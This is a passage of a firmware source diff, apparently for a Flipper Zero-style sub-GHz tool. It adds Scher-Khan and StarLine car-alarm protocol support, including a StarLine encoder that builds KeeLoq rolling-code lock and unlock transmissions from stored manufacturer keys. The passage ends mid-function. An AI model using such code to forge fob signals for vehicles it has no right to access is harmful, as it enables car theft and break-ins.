     SubGhzProtocolStatus ret = subghz_block_generic_deserialize_check_count_bit(
         &instance->generic, flipper_format, subghz_protocol_ford_v0_const.min_count_bit_for_found);
 
-    FURI_LOG_I(TAG, "Decoder deserialize: generic_ret=%d generic.data=%08lX%08lX",
+    FURI_LOG_I(
+        TAG,
+        "Decoder deserialize: generic_ret=%d generic.data=%08lX%08lX",
         ret,
         (unsigned long)(instance->generic.data >> 32),
         (unsigned long)(instance->generic.data & 0xFFFFFFFF));
@@ -908,12 +903,17 @@ SubGhzProtocolStatus
 
         flipper_format_rewind(flipper_format);
 
-        uint32_t bs_temp = 0;
+        uint32_t checksum_temp = 0;
         uint32_t crc_temp = 0;
-        flipper_format_read_uint32(flipper_format, "BS", &bs_temp, 1);
+        flipper_format_read_uint32(flipper_format, "Checksum", &checksum_temp, 1);
         flipper_format_read_uint32(flipper_format, "CRC", &crc_temp, 1);
-        instance->key2 = ((bs_temp & 0xFF) << 8) | (crc_temp & 0xFF);
-        FURI_LOG_I(TAG, "Decoder deserialize: BS=0x%02lX CRC=0x%02lX key2=0x%04X", bs_temp, crc_temp, instance->key2);
+        instance->key2 = ((checksum_temp & 0xFF) << 8) | (crc_temp & 0xFF);
+        FURI_LOG_I(
+            TAG,
+            "Decoder deserialize: Checksum=0x%02lX CRC=0x%02lX key2=0x%04X",
+            checksum_temp,
+            crc_temp,
+            instance->key2);
 
         flipper_format_read_uint32(flipper_format, "Serial", &instance->serial, 1);
         instance->generic.serial = instance->serial;
@@ -926,18 +926,16 @@ SubGhzProtocolStatus
         flipper_format_read_uint32(flipper_format, "Cnt", &instance->count, 1);
         instance->generic.cnt = instance->count;
 
-        FURI_LOG_I(TAG, "Decoder deserialize: Sn=0x%08lX Btn=0x%02X Cnt=0x%05lX",
+        FURI_LOG_I(
+            TAG,
+            "Decoder deserialize: Sn=0x%08lX Btn=0x%02X Cnt=0x%05lX",
             (unsigned long)instance->serial,
             instance->button,
             (unsigned long)instance->count);
 
-        uint32_t bs_magic_temp = 0;
-        if(flipper_format_read_uint32(flipper_format, "BSMagic", &bs_magic_temp, 1))
-            instance->bs_magic = bs_magic_temp;
-        else
-            instance->bs_magic = 0x6F;
-        FURI_LOG_I(TAG, "Decoder deserialize: BSMagic=0x%02X key1=%08lX%08lX",
-            instance->bs_magic,
+        FURI_LOG_I(
+            TAG,
+            "Decoder deserialize: key1=%08lX%08lX",
             (unsigned long)(instance->key1 >> 32),
             (unsigned long)(instance->key1 & 0xFFFFFFFF));
     }
@@ -985,6 +983,5 @@ void subghz_protocol_decoder_ford_v0_get_string(void* context, FuriString* outpu
         (unsigned long)instance->count,
         (unsigned int)display_btn,
         button_name,
-        crc_ok ? "OK" : "BAD"
-    );
+        crc_ok ? "OK" : "BAD");
 }

lib/subghz/protocols/protocol_items.c

@@ -72,6 +72,8 @@ const SubGhzProtocol* const subghz_protocol_registry_items[] = {
     &subghz_protocol_kia_v6,
     &subghz_protocol_suzuki, 
     &subghz_protocol_mitsubishi_v0,
+    &subghz_protocol_star_line,
+    &subghz_protocol_scher_khan,
 };
 
 const SubGhzProtocolRegistry subghz_protocol_registry = {

lib/subghz/protocols/protocol_items.h

@@ -74,3 +74,5 @@
 #include "suzuki.h"
 #include "mitsubishi_v0.h"
 #include "mazda_siemens.h"
+#include "star_line.h"
+#include "scher_khan.h"

lib/subghz/protocols/scher_khan.c

@@ -0,0 +1,382 @@
+#include "scher_khan.h"
+#include "../blocks/custom_btn_i.h"
+#include "../blocks/generic.h"
+
+#define TAG "SubGhzProtocolScherKhan"
+
+static const char* scher_khan_btn_name(uint8_t btn) {
+    switch(btn) {
+    case 0x1: return "Lock";
+    case 0x2: return "Unlock";
+    case 0x4: return "Trunk";
+    case 0x8: return "Aux";
+    default:  return "?";
+    }
+}
+
+static uint8_t scher_khan_btn_to_custom(uint8_t btn) {
+    switch(btn) {
+    case 0x1: return SUBGHZ_CUSTOM_BTN_UP;
+    case 0x2: return SUBGHZ_CUSTOM_BTN_DOWN;
+    case 0x4: return SUBGHZ_CUSTOM_BTN_LEFT;
+    case 0x8: return SUBGHZ_CUSTOM_BTN_RIGHT;
+    default:  return SUBGHZ_CUSTOM_BTN_OK;
+    }
+}
+
+static uint8_t scher_khan_custom_to_btn(uint8_t custom, uint8_t original_btn) {
+    if(custom == SUBGHZ_CUSTOM_BTN_OK)    return original_btn;
+    if(custom == SUBGHZ_CUSTOM_BTN_UP)    return 0x1;
+    if(custom == SUBGHZ_CUSTOM_BTN_DOWN)  return 0x2;
+    if(custom == SUBGHZ_CUSTOM_BTN_LEFT)  return 0x4;
+    if(custom == SUBGHZ_CUSTOM_BTN_RIGHT) return 0x8;
+    return original_btn;
+}
+
+static uint8_t scher_khan_get_btn_code(uint8_t original_btn) {
+    return scher_khan_custom_to_btn(subghz_custom_btn_get(), original_btn);
+}
+
+static const SubGhzBlockConst subghz_protocol_scher_khan_const = {
+    .te_short = 750,
+    .te_long = 1100,
+    .te_delta = 160,
+    .min_count_bit_for_found = 35,
+};
+
+struct SubGhzProtocolDecoderScherKhan {
+    SubGhzProtocolDecoderBase base;
+
+    SubGhzBlockDecoder decoder;
+    SubGhzBlockGeneric generic;
+
+    uint16_t header_count;
+    const char* protocol_name;
+};
+
+struct SubGhzProtocolEncoderScherKhan {
+    SubGhzProtocolEncoderBase base;
+
+    SubGhzProtocolBlockEncoder encoder;
+    SubGhzBlockGeneric generic;
+};
+
+typedef enum {
+    ScherKhanDecoderStepReset = 0,
+    ScherKhanDecoderStepCheckPreambula,
+    ScherKhanDecoderStepSaveDuration,
+    ScherKhanDecoderStepCheckDuration,
+} ScherKhanDecoderStep;
+
+const SubGhzProtocolDecoder subghz_protocol_scher_khan_decoder = {
+    .alloc = subghz_protocol_decoder_scher_khan_alloc,
+    .free = subghz_protocol_decoder_scher_khan_free,
+
+    .feed = subghz_protocol_decoder_scher_khan_feed,
+    .reset = subghz_protocol_decoder_scher_khan_reset,
+
+    .get_hash_data = subghz_protocol_decoder_scher_khan_get_hash_data,
+    .serialize = subghz_protocol_decoder_scher_khan_serialize,
+    .deserialize = subghz_protocol_decoder_scher_khan_deserialize,
+    .get_string = subghz_protocol_decoder_scher_khan_get_string,
+};
+
+const SubGhzProtocolEncoder subghz_protocol_scher_khan_encoder = {
+    .alloc = NULL,
+    .free = NULL,
+
+    .deserialize = NULL,
+    .stop = NULL,
+    .yield = NULL,
+};
+
+const SubGhzProtocol subghz_protocol_scher_khan = {
+    .name = SUBGHZ_PROTOCOL_SCHER_KHAN_NAME,
+    .type = SubGhzProtocolTypeDynamic,
+    .flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_FM | SubGhzProtocolFlag_Decodable,
+
+    .decoder = &subghz_protocol_scher_khan_decoder,
+    .encoder = &subghz_protocol_scher_khan_encoder,
+};
+
+void* subghz_protocol_decoder_scher_khan_alloc(SubGhzEnvironment* environment) {
+    UNUSED(environment);
+    SubGhzProtocolDecoderScherKhan* instance = malloc(sizeof(SubGhzProtocolDecoderScherKhan));
+    instance->base.protocol = &subghz_protocol_scher_khan;
+    instance->generic.protocol_name = instance->base.protocol->name;
+
+    return instance;
+}
+
+void subghz_protocol_decoder_scher_khan_free(void* context) {
+    furi_check(context);
+    SubGhzProtocolDecoderScherKhan* instance = context;
+    free(instance);
+}
+
+void subghz_protocol_decoder_scher_khan_reset(void* context) {
+    furi_check(context);
+    SubGhzProtocolDecoderScherKhan* instance = context;
+    instance->decoder.parser_step = ScherKhanDecoderStepReset;
+}
+
+void subghz_protocol_decoder_scher_khan_feed(void* context, bool level, uint32_t duration) {
+    furi_check(context);
+    SubGhzProtocolDecoderScherKhan* instance = context;
+
+    switch(instance->decoder.parser_step) {
+    case ScherKhanDecoderStepReset:
+        if((level) && (DURATION_DIFF(duration, subghz_protocol_scher_khan_const.te_short * 2) <
+                       subghz_protocol_scher_khan_const.te_delta)) {
+            instance->decoder.parser_step = ScherKhanDecoderStepCheckPreambula;
+            instance->decoder.te_last = duration;
+            instance->header_count = 0;
+        }
+        break;
+    case ScherKhanDecoderStepCheckPreambula:
+        if(level) {
+            if((DURATION_DIFF(duration, subghz_protocol_scher_khan_const.te_short * 2) <
+                subghz_protocol_scher_khan_const.te_delta) ||
+               (DURATION_DIFF(duration, subghz_protocol_scher_khan_const.te_short) <
+                subghz_protocol_scher_khan_const.te_delta)) {
+                instance->decoder.te_last = duration;
+            } else {
+                instance->decoder.parser_step = ScherKhanDecoderStepReset;
+            }
+        } else if(
+            (DURATION_DIFF(duration, subghz_protocol_scher_khan_const.te_short * 2) <
+             subghz_protocol_scher_khan_const.te_delta) ||
+            (DURATION_DIFF(duration, subghz_protocol_scher_khan_const.te_short) <
+             subghz_protocol_scher_khan_const.te_delta)) {
+            if(DURATION_DIFF(
+                   instance->decoder.te_last, subghz_protocol_scher_khan_const.te_short * 2) <
+               subghz_protocol_scher_khan_const.te_delta) {
+                instance->header_count++;
+                break;
+            } else if(
+                DURATION_DIFF(
+                    instance->decoder.te_last, subghz_protocol_scher_khan_const.te_short) <
+                subghz_protocol_scher_khan_const.te_delta) {
+                if(instance->header_count >= 2) {
+                    instance->decoder.parser_step = ScherKhanDecoderStepSaveDuration;
+                    instance->decoder.decode_data = 0;
+                    instance->decoder.decode_count_bit = 1;
+                } else {
+                    instance->decoder.parser_step = ScherKhanDecoderStepReset;
+                }
+            } else {
+                instance->decoder.parser_step = ScherKhanDecoderStepReset;
+            }
+        } else {
+            instance->decoder.parser_step = ScherKhanDecoderStepReset;
+        }
+        break;
+    case ScherKhanDecoderStepSaveDuration:
+        if(level) {
+            if(duration >= (subghz_protocol_scher_khan_const.te_delta * 2UL +
+                            subghz_protocol_scher_khan_const.te_long)) {
+                instance->decoder.parser_step = ScherKhanDecoderStepReset;
+                if(instance->decoder.decode_count_bit >=
+                   subghz_protocol_scher_khan_const.min_count_bit_for_found) {
+                    instance->generic.data = instance->decoder.decode_data;
+                    instance->generic.data_count_bit = instance->decoder.decode_count_bit;
+                    if(instance->base.callback)
+                        instance->base.callback(&instance->base, instance->base.context);
+                }
+                instance->decoder.decode_data = 0;
+                instance->decoder.decode_count_bit = 0;
+                break;
+            } else {
+                instance->decoder.te_last = duration;
+                instance->decoder.parser_step = ScherKhanDecoderStepCheckDuration;
+            }
+
+        } else {
+            instance->decoder.parser_step = ScherKhanDecoderStepReset;
+        }
+        break;
+    case ScherKhanDecoderStepCheckDuration:
+        if(!level) {
+            if((DURATION_DIFF(
+                    instance->decoder.te_last, subghz_protocol_scher_khan_const.te_short) <
+                subghz_protocol_scher_khan_const.te_delta) &&
+               (DURATION_DIFF(duration, subghz_protocol_scher_khan_const.te_short) <
+                subghz_protocol_scher_khan_const.te_delta)) {
+                subghz_protocol_blocks_add_bit(&instance->decoder, 0);
+                instance->decoder.parser_step = ScherKhanDecoderStepSaveDuration;
+            } else if(
+                (DURATION_DIFF(
+                     instance->decoder.te_last, subghz_protocol_scher_khan_const.te_long) <
+                 subghz_protocol_scher_khan_const.te_delta) &&
+                (DURATION_DIFF(duration, subghz_protocol_scher_khan_const.te_long) <
+                 subghz_protocol_scher_khan_const.te_delta)) {
+                subghz_protocol_blocks_add_bit(&instance->decoder, 1);
+                instance->decoder.parser_step = ScherKhanDecoderStepSaveDuration;
+            } else {
+                instance->decoder.parser_step = ScherKhanDecoderStepReset;
+            }
+        } else {
+            instance->decoder.parser_step = ScherKhanDecoderStepReset;
+        }
+        break;
+    }
+}
+
+static void subghz_protocol_scher_khan_check_remote_controller(
+    SubGhzBlockGeneric* instance,
+    const char** protocol_name) {
+
+    switch(instance->data_count_bit) {
+    case 35:
+        *protocol_name = "MAGIC CODE, Static";
+        instance->serial = 0;
+        instance->btn = 0;
+        instance->cnt = 0;
+        break;
+    case 51:
+        *protocol_name = "MAGIC CODE, Dynamic";
+        instance->serial = ((instance->data >> 24) & 0xFFFFFF0) | ((instance->data >> 20) & 0x0F);
+        instance->btn = (instance->data >> 24) & 0x0F;
+        instance->cnt = instance->data & 0xFFFF;
+        break;
+    case 57:
+        *protocol_name = "MAGIC CODE PRO/PRO2";
+        instance->serial = 0;
+        instance->btn = 0;
+        instance->cnt = 0;
+        break;
+    case 63:
+        *protocol_name = "MAGIC CODE, Response";
+        instance->serial = 0;
+        instance->btn = 0;
+        instance->cnt = 0;
+        break;
+    case 64:
+        *protocol_name = "MAGICAR, Response";
+        instance->serial = 0;
+        instance->btn = 0;
+        instance->cnt = 0;
+        break;
+    case 81:
+    case 82:
+        *protocol_name = "MAGIC CODE PRO,\n Response";
+        instance->serial = 0;
+        instance->btn = 0;
+        instance->cnt = 0;
+        break;
+
+    default:
+        *protocol_name = "Unknown";
+        instance->serial = 0;
+        instance->btn = 0;
+        instance->cnt = 0;
+        break;
+    }
+}
+
+uint8_t subghz_protocol_decoder_scher_khan_get_hash_data(void* context) {
+    furi_check(context);
+    SubGhzProtocolDecoderScherKhan* instance = context;
+    return subghz_protocol_blocks_get_hash_data(
+        &instance->decoder, (instance->decoder.decode_count_bit / 8) + 1);
+}
+
+SubGhzProtocolStatus subghz_protocol_decoder_scher_khan_serialize(
+    void* context,
+    FlipperFormat* flipper_format,
+    SubGhzRadioPreset* preset) {
+    furi_check(context);
+    SubGhzProtocolDecoderScherKhan* instance = context;
+    SubGhzProtocolStatus ret = SubGhzProtocolStatusError;
+
+    do {
+        if(!flipper_format_write_header_cstr(
+               flipper_format, "Flipper SubGhz Key File", 1)) {
+            break;
+        }
+        if(preset != NULL) {
+            if(!flipper_format_insert_or_update_uint32(
+                   flipper_format, "Frequency", &preset->frequency, 1)) {
+                break;
+            }
+            FuriString* preset_str = furi_string_alloc();
+            subghz_block_generic_get_preset_name(
+                furi_string_get_cstr(preset->name), preset_str);
+            if(!flipper_format_insert_or_update_string_cstr(
+                   flipper_format, "Preset", furi_string_get_cstr(preset_str))) {
+                furi_string_free(preset_str);
+                break;
+            }
+            furi_string_free(preset_str);
+        }
+
+        if(!flipper_format_insert_or_update_string_cstr(
+               flipper_format, "Protocol", instance->generic.protocol_name)) {
+            break;
+        }
+
+        uint32_t bits = instance->generic.data_count_bit;
+        if(!flipper_format_insert_or_update_uint32(flipper_format, "Bit", &bits, 1)) {
+            break;
+        }
+
+        char key_str[20];
+        snprintf(key_str, sizeof(key_str), "%016llX", instance->generic.data);
+        if(!flipper_format_insert_or_update_string_cstr(flipper_format, "Key", key_str)) {
+            break;
+        }
+
+        if(!flipper_format_insert_or_update_uint32(
+               flipper_format, "Serial", &instance->generic.serial, 1)) {
+            break;
+        }
+
+        uint32_t temp = instance->generic.btn;
+        if(!flipper_format_insert_or_update_uint32(flipper_format, "Btn", &temp, 1)) {
+            break;
+        }
+
+        if(!flipper_format_insert_or_update_uint32(
+               flipper_format, "Cnt", &instance->generic.cnt, 1)) {
+            break;
+        }
+
+        ret = SubGhzProtocolStatusOk;
+    } while(false);
+
+    return ret;
+}
+
+SubGhzProtocolStatus
+    subghz_protocol_decoder_scher_khan_deserialize(void* context, FlipperFormat* flipper_format) {
+    furi_check(context);
+    SubGhzProtocolDecoderScherKhan* instance = context;
+    return subghz_block_generic_deserialize(&instance->generic, flipper_format);
+}
+
+void subghz_protocol_decoder_scher_khan_get_string(void* context, FuriString* output) {
+    furi_check(context);
+    SubGhzProtocolDecoderScherKhan* instance = context;
+
+    subghz_protocol_scher_khan_check_remote_controller(
+        &instance->generic, &instance->protocol_name);
+
+    subghz_custom_btn_set_original(scher_khan_btn_to_custom(instance->generic.btn));
+    subghz_custom_btn_set_max(4);
+
+    furi_string_cat_printf(
+        output,
+        "%s %dbit\r\n"
+        "Key:0x%lX%08lX\r\n"
+        "Sn:%07lX Btn:[%s]\r\n"
+        "Cntr:%04lX\r\n"
+        "Pt: %s\r\n",
+        instance->generic.protocol_name,
+        instance->generic.data_count_bit,
+        (uint32_t)(instance->generic.data >> 32),
+        (uint32_t)instance->generic.data,
+        instance->generic.serial,
+        scher_khan_btn_name(scher_khan_get_btn_code(instance->generic.btn)),
+        instance->generic.cnt,
+        instance->protocol_name);
+}

lib/subghz/protocols/scher_khan.h

@@ -0,0 +1,37 @@
+#pragma once
+#include <furi.h>
+#include <lib/subghz/protocols/base.h>
+#include <lib/subghz/types.h>
+#include <lib/subghz/blocks/const.h>
+#include <lib/subghz/blocks/decoder.h>
+#include <lib/subghz/blocks/encoder.h>
+#include <lib/subghz/blocks/generic.h>
+#include <lib/subghz/blocks/math.h>
+#include <lib/toolbox/manchester_decoder.h>
+#include <flipper_format/flipper_format.h>
+
+#define SUBGHZ_PROTOCOL_SCHER_KHAN_NAME "Scher-Khan"
+
+typedef struct SubGhzProtocolDecoderScherKhan SubGhzProtocolDecoderScherKhan;
+typedef struct SubGhzProtocolEncoderScherKhan SubGhzProtocolEncoderScherKhan;
+
+extern const SubGhzProtocolDecoder subghz_protocol_scher_khan_decoder;
+extern const SubGhzProtocolEncoder subghz_protocol_scher_khan_encoder;
+extern const SubGhzProtocol subghz_protocol_scher_khan;
+
+void* subghz_protocol_decoder_scher_khan_alloc(SubGhzEnvironment* environment);
+void subghz_protocol_decoder_scher_khan_free(void* context);
+void subghz_protocol_decoder_scher_khan_reset(void* context);
+void subghz_protocol_decoder_scher_khan_feed(void* context, bool level, uint32_t duration);
+
+uint8_t subghz_protocol_decoder_scher_khan_get_hash_data(void* context);
+
+SubGhzProtocolStatus subghz_protocol_decoder_scher_khan_serialize(
+    void* context,
+    FlipperFormat* flipper_format,
+    SubGhzRadioPreset* preset);
+
+SubGhzProtocolStatus
+    subghz_protocol_decoder_scher_khan_deserialize(void* context, FlipperFormat* flipper_format);
+
+void subghz_protocol_decoder_scher_khan_get_string(void* context, FuriString* output);

lib/subghz/protocols/star_line.c

@@ -0,0 +1,995 @@
+#include "star_line.h"
+#include "keeloq_common.h"
+#include <lib/subghz/subghz_keystore.h>
+#include "../subghz_keystore_i.h"
+#include "../blocks/custom_btn_i.h"
+
+#define TAG "SubGhzProtocolStarLine"
+
+static const char* star_line_btn_name(uint8_t btn) {
+    switch(btn) {
+    case 0x01: return "Lock";
+    case 0x02: return "Unlock";
+    case 0x04: return "Trunk";
+    case 0x08: return "Aux";
+    default:   return "?";
+    }
+}
+
+static uint8_t star_line_btn_to_custom(uint8_t btn) {
+    switch(btn) {
+    case 0x01: return SUBGHZ_CUSTOM_BTN_UP;
+    case 0x02: return SUBGHZ_CUSTOM_BTN_DOWN;
+    case 0x04: return SUBGHZ_CUSTOM_BTN_LEFT;
+    case 0x08: return SUBGHZ_CUSTOM_BTN_RIGHT;
+    default:   return SUBGHZ_CUSTOM_BTN_OK;
+    }
+}
+
+static uint8_t star_line_custom_to_btn(uint8_t custom, uint8_t original_btn) {
+    if(custom == SUBGHZ_CUSTOM_BTN_OK)    return original_btn;
+    if(custom == SUBGHZ_CUSTOM_BTN_UP)    return 0x01;
+    if(custom == SUBGHZ_CUSTOM_BTN_DOWN)  return 0x02;
+    if(custom == SUBGHZ_CUSTOM_BTN_LEFT)  return 0x04;
+    if(custom == SUBGHZ_CUSTOM_BTN_RIGHT) return 0x08;
+    return original_btn;
+}
+
+static uint8_t star_line_get_btn_code(uint8_t original_btn) {
+    uint8_t custom = subghz_custom_btn_get();
+    return star_line_custom_to_btn(custom, original_btn);
+}
+
+static const SubGhzBlockConst subghz_protocol_star_line_const = {
+    .te_short = 250,
+    .te_long = 500,
+    .te_delta = 120,
+    .min_count_bit_for_found = 64,
+};
+
+struct SubGhzProtocolDecoderStarLine {
+    SubGhzProtocolDecoderBase base;
+
+    SubGhzBlockDecoder decoder;
+    SubGhzBlockGeneric generic;
+
+    uint16_t header_count;
+    SubGhzKeystore* keystore;
+    const char* manufacture_name;
+
+    FuriString* manufacture_from_file;
+};
+
+struct SubGhzProtocolEncoderStarLine {
+    SubGhzProtocolEncoderBase base;
+
+    SubGhzProtocolBlockEncoder encoder;
+    SubGhzBlockGeneric generic;
+
+    SubGhzKeystore* keystore;
+    const char* manufacture_name;
+
+    FuriString* manufacture_from_file;
+};
+
+typedef enum {
+    StarLineDecoderStepReset = 0,
+    StarLineDecoderStepCheckPreambula,
+    StarLineDecoderStepSaveDuration,
+    StarLineDecoderStepCheckDuration,
+} StarLineDecoderStep;
+
+const SubGhzProtocolDecoder subghz_protocol_star_line_decoder = {
+    .alloc = subghz_protocol_decoder_star_line_alloc,
+    .free = subghz_protocol_decoder_star_line_free,
+
+    .feed = subghz_protocol_decoder_star_line_feed,
+    .reset = subghz_protocol_decoder_star_line_reset,
+
+    .get_hash_data = subghz_protocol_decoder_star_line_get_hash_data,
+    .serialize = subghz_protocol_decoder_star_line_serialize,
+    .deserialize = subghz_protocol_decoder_star_line_deserialize,
+    .get_string = subghz_protocol_decoder_star_line_get_string,
+};
+
+const SubGhzProtocolEncoder subghz_protocol_star_line_encoder = {
+    .alloc = subghz_protocol_encoder_star_line_alloc,
+    .free = subghz_protocol_encoder_star_line_free,
+
+    .deserialize = subghz_protocol_encoder_star_line_deserialize,
+    .stop = subghz_protocol_encoder_star_line_stop,
+    .yield = subghz_protocol_encoder_star_line_yield,
+};
+
+const SubGhzProtocol subghz_protocol_star_line = {
+    .name = SUBGHZ_PROTOCOL_STAR_LINE_NAME,
+    .type = SubGhzProtocolTypeDynamic,
+    .flag = SubGhzProtocolFlag_433 | SubGhzProtocolFlag_AM | SubGhzProtocolFlag_Decodable |
+            SubGhzProtocolFlag_Load | SubGhzProtocolFlag_Save | SubGhzProtocolFlag_Send,
+
+    .decoder = &subghz_protocol_star_line_decoder,
+    .encoder = &subghz_protocol_star_line_encoder,
+};
+
+static void subghz_protocol_star_line_check_remote_controller(
+    SubGhzBlockGeneric* instance,
+    SubGhzKeystore* keystore,
+    const char** manufacture_name);
+
+void* subghz_protocol_encoder_star_line_alloc(SubGhzEnvironment* environment) {
+    SubGhzProtocolEncoderStarLine* instance = malloc(sizeof(SubGhzProtocolEncoderStarLine));
+
+    instance->base.protocol = &subghz_protocol_star_line;
+    instance->generic.protocol_name = instance->base.protocol->name;
+    instance->keystore = subghz_environment_get_keystore(environment);
+
+    instance->manufacture_from_file = furi_string_alloc();
+
+    instance->encoder.repeat = 40;
+    instance->encoder.size_upload = 256;
+    instance->encoder.upload = malloc(instance->encoder.size_upload * sizeof(LevelDuration));
+    instance->encoder.is_running = false;
+
+    return instance;
+}
+
+void subghz_protocol_encoder_star_line_free(void* context) {
+    furi_check(context);
+    SubGhzProtocolEncoderStarLine* instance = context;
+    furi_string_free(instance->manufacture_from_file);
+    free(instance->encoder.upload);
+    free(instance);
+}
+
+static bool
+    subghz_protocol_star_line_gen_data(SubGhzProtocolEncoderStarLine* instance, uint8_t btn) {
+
+    if((instance->generic.cnt + 1) > 0xFFFF) {
+        instance->generic.cnt = 0;
+    } else {
+        instance->generic.cnt += 1;
+    }
+
+    uint32_t fix = btn << 24 | instance->generic.serial;
+    uint32_t decrypt = btn << 24 | (instance->generic.serial & 0xFF) << 16 | instance->generic.cnt;
+    uint32_t hop = 0;
+    uint64_t man = 0;
+    uint64_t code_found_reverse;
+    int res = 0;
+
+    if(instance->manufacture_name == 0x0) {
+        instance->manufacture_name = "";
+    }
+
+    if(strcmp(instance->manufacture_name, "Unknown") == 0) {
+        code_found_reverse = subghz_protocol_blocks_reverse_key(
+            instance->generic.data, instance->generic.data_count_bit);
+        hop = code_found_reverse & 0x00000000ffffffff;
+    } else {
+        uint8_t kl_type_en = instance->keystore->kl_type;
+        for
+            M_EACH(
+                manufacture_code,
+                *subghz_keystore_get_data(instance->keystore),
+                SubGhzKeyArray_t) {
+                res = strcmp(
+                    furi_string_get_cstr(manufacture_code->name), instance->manufacture_name);
+                if(res == 0) {
+                    switch(manufacture_code->type) {
+                    case KEELOQ_LEARNING_SIMPLE:
+                        hop =
+                            subghz_protocol_keeloq_common_encrypt(decrypt, manufacture_code->key);
+                        break;
+                    case KEELOQ_LEARNING_NORMAL:
+                        man = subghz_protocol_keeloq_common_normal_learning(
+                            fix, manufacture_code->key);
+                        hop = subghz_protocol_keeloq_common_encrypt(decrypt, man);
+                        break;
+                    case KEELOQ_LEARNING_UNKNOWN:
+                        if(kl_type_en == 1) {
+                            hop = subghz_protocol_keeloq_common_encrypt(
+                                decrypt, manufacture_code->key);
+                        }
+                        if(kl_type_en == 2) {
+                            man = subghz_protocol_keeloq_common_normal_learning(
+                                fix, manufacture_code->key);
+                            hop = subghz_protocol_keeloq_common_encrypt(decrypt, man);
+                        }
+                        break;
+                    }
+                    break;
+                }
+            }
+    }
+    if(hop) {
+        uint64_t yek = (uint64_t)fix << 32 | hop;
+        instance->generic.data =
+            subghz_protocol_blocks_reverse_key(yek, instance->generic.data_count_bit);
+        return true;
+    } else {
+        instance->manufacture_name = "Unknown";
+        return false;
+    }
+}
+
+bool subghz_protocol_star_line_create_data(
+    void* context,
+    FlipperFormat* flipper_format,
+    uint32_t serial,
+    uint8_t btn,
+    uint16_t cnt,
+    const char* manufacture_name,
+    SubGhzRadioPreset* preset) {
+    furi_check(context);
+    SubGhzProtocolEncoderStarLine* instance = context;
+    instance->generic.serial = serial;
+    instance->generic.cnt = cnt;
+    instance->manufacture_name = manufacture_name;
+    instance->generic.data_count_bit = 64;
+    bool res = subghz_protocol_star_line_gen_data(instance, btn);
+    if(res) {
+        return SubGhzProtocolStatusOk ==
+               subghz_block_generic_serialize(&instance->generic, flipper_format, preset);
+    }
+    return res;
+}
+
+static bool subghz_protocol_encoder_star_line_get_upload(
+    SubGhzProtocolEncoderStarLine* instance,
+    uint8_t btn) {
+    furi_check(instance);
+
+    if(!subghz_protocol_star_line_gen_data(instance, btn)) {
+        return false;
+    }
+
+    size_t index = 0;
+    size_t size_upload = 6 * 2 + (instance->generic.data_count_bit * 2);
+    if(size_upload > instance->encoder.size_upload) {
+        FURI_LOG_E(TAG, "Size upload exceeds allocated encoder buffer.");
+        return false;
+    } else {
+        instance->encoder.size_upload = size_upload;
+    }
+
+    for(uint8_t i = 6; i > 0; i--) {
+        instance->encoder.upload[index++] =
+            level_duration_make(true, (uint32_t)subghz_protocol_star_line_const.te_long * 2);
+        instance->encoder.upload[index++] =
+            level_duration_make(false, (uint32_t)subghz_protocol_star_line_const.te_long * 2);
+    }
+
+    for(uint8_t i = instance->generic.data_count_bit; i > 0; i--) {
+        if(bit_read(instance->generic.data, i - 1)) {
+            instance->encoder.upload[index++] =
+                level_duration_make(true, (uint32_t)subghz_protocol_star_line_const.te_long);
+            instance->encoder.upload[index++] =
+                level_duration_make(false, (uint32_t)subghz_protocol_star_line_const.te_long);
+        } else {
+            instance->encoder.upload[index++] =
+                level_duration_make(true, (uint32_t)subghz_protocol_star_line_const.te_short);
+            instance->encoder.upload[index++] =
+                level_duration_make(false, (uint32_t)subghz_protocol_star_line_const.te_short);
+        }
+    }
+
+    return true;
+}
+
+static SubGhzProtocolStatus subghz_protocol_encoder_star_line_serialize(
+    SubGhzProtocolEncoderStarLine* instance,
+    FlipperFormat* flipper_format) {
+    subghz_protocol_star_line_check_remote_controller(
+        &instance->generic, instance->keystore, &instance->manufacture_name);
+
+    SubGhzProtocolStatus ret = SubGhzProtocolStatusError;
+
+    do {
+        if(!flipper_format_insert_or_update_string_cstr(
+               flipper_format, "Protocol", instance->generic.protocol_name)) {
+            break;
+        }
+
+        uint32_t bits = instance->generic.data_count_bit;
+        if(!flipper_format_insert_or_update_uint32(flipper_format, "Bit", &bits, 1)) {
+            break;
+        }
+
+        char key_str[20];
+        snprintf(key_str, sizeof(key_str), "%016llX", instance->generic.data);
+        if(!flipper_format_insert_or_update_string_cstr(flipper_format, "Key", key_str)) {
+            break;
+        }
+
+        if(!flipper_format_insert_or_update_uint32(
+               flipper_format, "Serial", &instance->generic.serial, 1)) {
+            break;
+        }
+
+        uint32_t temp = instance->generic.btn;
+        if(!flipper_format_insert_or_update_uint32(flipper_format, "Btn", &temp, 1)) {
+            break;
+        }
+
+        if(!flipper_format_insert_or_update_uint32(
+               flipper_format, "Cnt", &instance->generic.cnt, 1)) {
+            break;
+        }
+
+        if(!flipper_format_insert_or_update_string_cstr(
+               flipper_format, "Manufacture", instance->manufacture_name)) {
+            break;
+        }
+
+        ret = SubGhzProtocolStatusOk;
+    } while(false);
+
+    return ret;
+}
+
+SubGhzProtocolStatus
+    subghz_protocol_encoder_star_line_deserialize(void* context, FlipperFormat* flipper_format) {
+    furi_check(context);
+    SubGhzProtocolEncoderStarLine* instance = context;
+    SubGhzProtocolStatus ret = SubGhzProtocolStatusError;
+
+    flipper_format_rewind(flipper_format);
+
+    do {
+        FuriString* temp_str = furi_string_alloc();
+        if(!flipper_format_read_string(flipper_format, "Protocol", temp_str)) {
+            FURI_LOG_E(TAG, "Missing Protocol");
+            furi_string_free(temp_str);
+            break;
+        }
+
+        if(!furi_string_equal(temp_str, instance->base.protocol->name)) {
+            FURI_LOG_E(
+                TAG,
+                "Wrong protocol %s != %s",
+                furi_string_get_cstr(temp_str),
+                instance->base.protocol->name);
+            furi_string_free(temp_str);
+            break;
+        }
+        furi_string_free(temp_str);
+
+        uint32_t bit_count_temp;
+        if(!flipper_format_read_uint32(flipper_format, "Bit", &bit_count_temp, 1)) {
+            FURI_LOG_E(TAG, "Missing Bit");
+            break;
+        }
+
+        instance->generic.data_count_bit = subghz_protocol_star_line_const.min_count_bit_for_found;
+
+        temp_str = furi_string_alloc();
+        if(!flipper_format_read_string(flipper_format, "Key", temp_str)) {
+            FURI_LOG_E(TAG, "Missing Key");
+            furi_string_free(temp_str);
+            break;
+        }
+
+        const char* key_str = furi_string_get_cstr(temp_str);
+        uint64_t key = 0;
+        size_t str_len = strlen(key_str);
+        size_t hex_pos = 0;
+        for(size_t i = 0; i < str_len && hex_pos < 16; i++) {
